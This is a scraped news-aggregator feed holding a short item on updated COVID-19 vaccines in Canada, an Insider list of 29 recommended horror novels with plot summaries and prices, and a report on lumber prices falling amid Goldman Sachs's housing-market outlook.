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]]> https://briefnews.eu/stocks-have-yet-to-bottom-and-could-fall-another-23-this-year-amid-slowing-growth-morgan-stanley-says/feed/ 0 What protection to expect from updated COVID vaccines this fall https://briefnews.eu/what-protection-to-expect-from-updated-covid-vaccines-this-fall/ https://briefnews.eu/what-protection-to-expect-from-updated-covid-vaccines-this-fall/#respond Sat, 03 Sep 2022 11:13:16 +0000 https://briefnews.eu/what-protection-to-expect-from-updated-covid-vaccines-this-fall/ Virus Outbreak Pennsylvania

Canada has just approved an updated COVID-19 vaccine to target the first highly contagious Omicron variant, with doses expected to start rolling out within days. But what exactly can we expect from these new shots when they land in the real world? 

]]> https://briefnews.eu/what-protection-to-expect-from-updated-covid-vaccines-this-fall/feed/ 0 The 29 best horror books to stock up on for a spooky, creepy fall https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/ https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/#respond Wed, 31 Aug 2022 17:28:40 +0000 https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/ Insider Horror Books Roundup 4x3
These are some of the best horror books to read in 2022, from Stephen King classics to thrilling new releases.

Amazon; Alyssa Powell/Insider

  • Great horror novels can be scary, thrilling, or grotesque. 
  • These books include Stephen King classics and new releases. 
  • These horror picks make great gifts and late-night reads.

If you crave the skin-crawling, adrenaline-spiking, can't-look-away feeling of scary movies and haunted houses, then horror books might be the perfect fit for you. 

From paranormal short stories to horror classics like Stephen King's "It," horror novels give us the creepy-crawling feeling that stays long after we've closed the book and turned off the light. Whether you're searching for your first gory horror read or a new page-turning thriller, here are the best horror books to read in 2022.

The 29 best horror books to read in 2022:

"Mexican Gothic" by Silvia Moreno-Garcia

Mexican Gothic by Silvia Moreno-Garcia

Amazon

Available at Amazon and Bookshop, from $ 13.58

This Goodreads Choice Awards-winner is a gothic, historical horror about Noemí Taboada, who heads to the Mexican countryside after receiving a strange and alarming letter from her newly wed cousin. When she arrives at her new home, High Place, she faces a dark family past, buried secrets, and a house that may try to trap her, just as it seems to have done to others.

"It" by Stephen King

"It" by Stephen King book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.97

This well-known horror book is about seven adults returning to their hometown to face an evil they first discovered as teenagers: An unnamed, shape-shifting terror they call "It." If you read other Stephen King novels, the town of Derry, Maine appears again and again but it all began with "It." "It" is also a monster of a book — its many, many pages build to a must-read, terrifying masterpiece.

 

"When the Reckoning Comes" by LaTanya McQueen

"When the Reckoning Comes" by LaTanya McQueen book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.81

When Mira fled her segregated southern hometown more than a decade ago, she left behind her best friend, a plantation rumored to be haunted, and the horrible memories from her youth. Returning only for her best friend's wedding on the eerie plantation, dark elements from the town's past and Mira's own history begin to unravel as the weekend begins.   

"Daisy Darker" by Alice Feeney

"Daisy Darker" by Alice Feeney book cover.

Amazon

Available at Amazon and Bookshop, from $ 23.99

For those who loved Agatha Christie's "And Then There Were None," "Daisy Darker" is a horror story about Daisy Darker's estranged family, who have gathered on a remote island for Nana's 80th birthday. When the tide traps them in and Nana is found dead, followed by another family member an hour later, they must untangle their secrets and find the killer if they want any chance to survive.

"A Dowry of Blood" by S.T. Gibson

"A Dowry of Blood" by S.T. Gibson book cover.

Amazon

Available at Amazon and Bookshop, from $ 24.30

"A Dowry of Blood" is a new, fantastical horror novel that reimagine's the story of Dracula's bride, Constanta, who was turned from a mortal peasant to the wife of an undying king. As Constanta begins to understand the true evil power of her husband, she unravels his dark secrets and must choose between love and her freedom in this queer, dramatic paranormal horror story. 

"White Smoke" by Tiffany D. Jackson

"White Smoke" by Tiffany D. Jackson book cover.

Amazon

Available at Amazon and Bookshop, from $ 12.51

Mari thinks she's out-running the ghosts of her old life when her newly blended family relocates to a picture-perfect home in the Midwest, even if it's situated amongst far more dilapidated and secret-holding neighbors. In this haunted house horror story, strange things begin to happen in Mari's new home, but when her younger stepsister warns her of a friend who wants Mari gone, the danger becomes too real. 

"Night of the Living Rez" by Morgan Talty

"Night of the Living Rez" by Morgan Talty book cover

Amazon

Available at Amazon and Bookshop, from $ 15.26

This collection of 12 short horror stories is set in a Native community in Maine as individuals, families, and the community grapple with traumatic pasts and an uncertain future. Believable, unique, and achingly raw, these interconnected stories have moments of humor and emotion throughout those of horror and thrills.

"Hell House" by Richard Matheson

"Hell House" by Richard Matheson book cover.

Amazon

Available at Amazon and Bookshop, from $ 16.73

Stephen King called this book "the scariest haunted house novel ever written," so you know it's terrifying. Rolf Rudolph Deutsch is about to die, so he offers to pay a physicist and two mediums $ 100,000 each to find out what happens after death. The three of them travel to the Belasco house — more commonly referred to as the "Hell House" — for one night to learn how it earned its nickname. 

"Stillhouse Lake" by Rachel Caine

"Stillhouse Lake" by Rachel Caine book cover.

Amazon

Available at Amazon and Bookshop, from $ 7.99

Gina was completely normal — an average housewife with a husband and two kids. When a car accident revealed her husband's secret life as a serial killer, she moved with her children to a home on a lake, far away from her husband's secrets and the stalkers who think she was part of it all. But when a body appears in the lake and threatening letters start to arrive, Gina — now a prime suspect — must protect herself and her kids from a killer who's tormenting her family. 

"What Moves the Dead" by T. Kingfisher

"What Moves the Dead" by T. Kingfisher book cover.

Amazon

Available at Amazon and Bookshop, from $ 17.99

"What Moves the Dead" is a jaw-dropping horror retelling of Edgar Allan Poe's short story "The Fall of the House of Usher." Alex Easton has rushed to the remote countryside after receiving word that their childhood friend, Madeline, is dying. Ill prepared for the nightmare that awaited them, Alex finds Madeline and her brother in an affected state and must unravel the secrets of the old home to save them all.

"Tender Is the Flesh" by Agustina Bazterrica

"Tender Is the Flesh" by Agustina Bazterrica book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.79

Most accurately described as "skin-crawling," this book centers on Marcos, who keeps his eyes on his work and away from the pain in his life. He works at the local processing plant, slaughtering humans — though, no one calls them that anymore. Since the government initiated "the Transition" after a sweeping virus made animal meat poisonous to humans, eating human meat — "special meat" — is legal, and having personal contact with the specimens is punishable by death. 

"The Sun Down Motel" by Simone St. James

"The Sun Down Motel" by Simone St. James book cover.

Amazon

Available at Amazon and Bookshop, from $ 10.79

If you want to feel the rush of knowing something terrible is coming, this paranormal horror story is for you. In 1982, Carly's Aunt Viv took a job at the Sun Down Motel, trying to save enough money to move to New York City. Now, Carly's working the front desk to discover what mysteries could have led to her aunt's disappearance. The entire book is suspenseful and mysterious but the horror scenes are next-level. I had to rush to finish this one before it got dark. 

"Other Terrors: An Inclusive Anthology" by Vince A. Liaguno & Rena Mason

"Other Terrors: An Inclusive Anthology" by Vince A. Liaguno & Rena Mason book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

"Other Terrors" is a horror anthology written by underrepresented horror writers on what it means to be viewed as the scary "other" in society. Whether it's people from "other" ethnicities or of "other" sexualities, these horror short stories monopolize the primal fear of the unknown.

"The Chestnut Man" by Soren Sveistrup

"The Chestnut Man" by Soren Sveistrup book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

The Chestnut Man is a serial killer who leaves a handmade doll made of matchsticks and chestnuts at every crime scene. When a forensic team discovers a bloody fingerprint belonging to a government official's daughter who had been kidnapped and murdered a year ago, the detectives must follow the murderer's twisted clues before someone else ends up dead. This book is dark and unnerving, and you will likely find yourself unwilling to turn the next page, fearing what lies ahead. 

"NOS4A2" by Joe Hill

"NOS4A2" by Joe Hill book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.71

Victoria, a young girl with a talent for finding things, stumbles upon a bridge that can take her anywhere. She runs into Charlie Manx, who lures kids into a car that transports them to a horrifying playground called Christmasland. Victoria is the only child to ever escape Christmasland. Years later, Charlie hasn't forgotten about her — and is ready to take his revenge.

"Bird Box" by Josh Malerman

"Bird Box" by Josh Malerman book cover.

Amazon

Available at Amazon and Bookshop, from $ 9.46

In a world created by Josh Malerman, there's something out there that, once seen, drives a person to deadly violence. Malorie is one of only a handful of survivors left after the mysterious thing took over the world. She needs to flee with her children, relying on their wit and hearing to stay alive. This is a horror story that will have you closing your curtains and hiding in your house until you get to the end. 

"Red Dragon" by Thomas Harris

"Red Dragon" by Thomas Harris book cover.

Amazon

Available at Amazon and Bookshop, from $ 8.99

You may be more familiar with the second book in the Hannibal Lecter series "The Silence of the Lambs," but if you're looking to read the whole story, you should start here. When a serial killer attacks families, the FBI turns to William Graham, one of the greatest profilers, who retired after the horrors he witnessed in capturing Hannibal Lecter. To solve this case, William finds he must turn to Lector for help. The violent point of view of the antagonist brings on the horror in full force — while demonstrating that the "good guy" isn't always the hero. 

"Lock Every Door" by Riley Sager

"Lock Every Door" by Riley Sager book cover.

Amazon

Available at Amazon and Bookshop, from $ 12.22

Riley Sager has written four suspenseful novels, each one balanced between thriller, mystery, and horror, but this one leans the most towards "horror" of the bunch. Jules' new job as an apartment sitter in one of Manhattan's most private and mysterious buildings comes with three rules: No visitors, no nights away from the apartment, and no disturbing the other residents. But the building is not what it seems to be — a dark history is rising within, summoning a race to find the truth before someone else goes missing. 

"Devolution" by Max Brooks

"Devolution" by Max Brooks book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.69

As the dust from Mount Rainier's eruption settles, Kate Holland's harrowing journals are found, revealing an account of the unnoticed Greenloop massacre and the legendary beasts behind it. From the author of "World War Z," this ominous horror story is action-packed, mind-bending, and utterly chaotic.

"The Exorcist" by William Peter Blatty

"The Exorcist" by William Peter Blatty book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.29

Adapted into one of the scariest films of all time, "The Exorcist" is about a mother and two priests who fight to free the soul of a young girl controlled by an evil and violent spirit. The deeper details of this novel are what make already scary scenes even scarier. Even if you've already seen the movie, the story has even more frightening information that heightens the fear.

"The Shining" by Stephen King

"The Shining" by Stephen King book cover.

Amazon

Available at Amazon and Bookshop, from $ 9.29

Jack Torrance is looking for a fresh start with his new job at the Overlook Hotel, where he can reconnect with his family and work on his writing in his free time. As winter sets in, Jack's days at the hotel get stranger and stranger, and the only one who notices is Danny, Jack's unique five-year-old son. Full of fleshed-out characters, this slower-paced book doesn't drag — it only builds up the fear to an unforgettable conclusion.

"Dracula" by Bram Stoker

"Dracula" by Bram Stoker book cover.

Amazon

Available at Amazon and Bookshop, from $ 3.71

We all know the famous "Dracula" persona — the one we mimic every Halloween with plastic fangs and upturned coat collars. But it doesn't really capture the 1897 classic gothic horror story, which depicts Dracula's move to England as he attempts to find new blood, spreading his undead curse along the way. The story is far more horrifying and twisted than you might anticipate, and will definitely change how you view the more heroic portrayals of modern-day vampires. 

"The Southern Book Club's Guide to Slaying Vampires" by Grady Hendrix

"The Southern Book Club's Guide to Slaying Vampires" by Grady Hendrix book cover.

Goodreads

Available at Amazon and Bookshop, from $ 13.73

Set in 1990s Charleston, this novel is centered around a book club and the strange happenings around a newcomer who was brought into the club after one of the members was horribly attacked on her way home. This book has all of the southern charm, '90s nostalgia, and savagery that you might expect from the title alone. 

"The Other" by Thomas Tryon

"The Other" by Thomas Tryon book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.95

Holland and Niles are twins, close enough to nearly read each other's thoughts but entirely different in personality. Their family is gathered for the summer to mourn their father's passing. With the boys' mother still locked in her room, Holland's pranks are growing more and more sinister and Niles isn't sure how much longer he can make excuses for his brother. 

"Imaginary Friend" by Stephen Chbosky

"Imaginary Friend" by Stephen Chbosky book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

Best read with the lights on, "Imaginary Friend" is a haunting story where a young boy named Christopher goes missing in the town to which he and his mother just fled. Six days later, Christopher emerges from the woods with a voice in his head telling him to do one thing: Build a treehouse in the woods by Christmas, or his mother and everyone in the town will never be the same. 

"The Hollow Places" by T. Kingfisher

"The Hollow Places" by T. Kingfisher book cover.

Amazon

Available at Amazon and Bookshop, from $ 15.80

"The Hollow Places" is initially misleading. It starts off cute and funny, but quickly devolves into a terrifying novel with scenes so vibrantly written, they'll be sure to haunt readers long after they close the book. Kara finds a hole in the wall of her uncle's house that leads to a series of alternate realities, riddled with unsettling creatures that feed on fear. The world-building in this book is remarkable — Kingfisher creates something we couldn't previously fathom and yet something we so easily fear.

"The Only Good Indians" by Stephen Graham Jones

"The Only Good Indians" by Stephen Graham Jones book cover.

Amazon

Available at Amazon and Bookshop, from $ 13.49

This follows four Indigenous men who are being tracked and haunted by an entity that lingers from a crime committed a decade prior. It's a horror story of revenge and identity as the men find they can't outrun the culture they left behind. This eerie story will continually shock you, yet ends so perfectly, you'll almost forgive the brutal scenes you endured to reach the end. 

"Rosemary's Baby" by Ira Levin

"Rosemary's Baby" by Ira Levin book cover.

Amazon

Available at Amazon, $ 24.37

In this classic horror story, Rosemary and Guy are a young couple settling into their New York apartment where it seems the neighbors are taking too keen of an interest in them, especially once Rosemary gets pregnant. The suspense in this novel is palpable, a waking nightmare that walks a thin line between unbelievable and yet completely real. This book is unnerving and sinister, one of the original horror novels that helped popularize the genre. 

"The Burning Girls" by C. J. Tudor

"The Burning Girls" by C. J. Tudor book cover depicting a house on fire.

Amazon

Available at Amazon and Bookshop, from $ 15.81

Reverend Jack Brooks arrives at Chapel Croft looking for a fresh start, yet is welcomed with an exorcism kit and a warning. Horrible things have happened at the church — protestant martyrs were burned centuries back, two teenage girls disappeared 30 years ago, and just a week prior, the vicar hung himself. This is a deeply woven and haunting ghost story, with strange and deadly mysteries throughout. 

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]]> https://briefnews.eu/the-29-best-horror-books-to-stock-up-on-for-a-spooky-creepy-fall/feed/ 0 Lumber prices decline to a new 2022 low as Goldman warns housing market has further room to fall https://briefnews.eu/lumber-prices-decline-to-a-new-2022-low-as-goldman-warns-housing-market-has-further-room-to-fall/ https://briefnews.eu/lumber-prices-decline-to-a-new-2022-low-as-goldman-warns-housing-market-has-further-room-to-fall/#respond Tue, 30 Aug 2022 17:37:21 +0000 https://briefnews.eu/lumber-prices-decline-to-a-new-2022-low-as-goldman-warns-housing-market-has-further-room-to-fall/ Lumber home Depot
A discounted batch of planks is seen as people shop for lumber at a Home Depot store in Alhambra, California on May 4, 2022.

FREDERIC J. BROWN/AFP via Getty Images

  • Lumber prices fell 4% to a new 2022 low on Tuesday as the housing market continues to cool off.
  • The decline came on the same day Goldman Sachs warned that it expects a continued decline in the housing market.
  • "The sustained reduction in affordability, waning pandemic tailwind, and recent decline in purchasing intentions suggest that home sales are likely to fall further," Goldman said.

Lumber prices fell to a new 2022 low on Tuesday as higher mortgage rates continue to weight on a slowing housing market.

The essential building commodity fell as much as 4% on Tuesday to $ 465 per thousand board feet, decisively below the low seen in early August of $ 470. 

While the decline in lumber may be seen by some as a positive sign that inflation is continuing to cool, it is also indicative of a housing market slowdown that may last longer than expected.

And Goldman Sachs expects just that, as it argued in a Tuesday note the home sales are set to decline further after already cooling significantly since the Fed began its interest rate hikes, which sent mortgage rates soaring above 5%.

"The sustained reduction in affordability, waning pandemic tailwind, and recent decline in purchasing intentions suggest that home sales are likely to fall further," Goldman said. The bank expects existing home sales to fall 12% in August, while it expects new home sales to be flat.

Home prices have remained relatively resilient even as sales have cooled down. But Goldman expects that to change soon.

"Our model suggests that home price growth will slow sharply in the next couple quarters… as the imbalance between supply and demand continues to shrink, mostly through lower demand," analysts said.

Longer-term, Goldman still expects a demographic tailwind from millennials to help support the housing market, but a recent decline in purchasing intentions illustrates how sensitive this group of buyers is to higher mortgage rates.

Still, while Goldman expects housing to slowdown, it doesn't mean a deep recession will follow as it did during the last housing bust in 2007. 

"Past housing downturns have typically been accompanied by economywide recessions, which led to an influx of housing supply as unemployment rose and individuals were forced to sell their homes. However, an influx of supply from this channel seems unlikely this cycle: the labor market remains robust (and likely will, even in a mild recession), and household balance sheets are extremely strong," Goldman said.

As the housing market cools off, so are lumber prices, which briefly surged to a record high of $ 1,733 per thousand board feet in 2021. But if the housing market returns to its pre-pandemic state, so too could lumber prices, which have historically traded between a range of $ 200 to $ 600 per thousand board feet.

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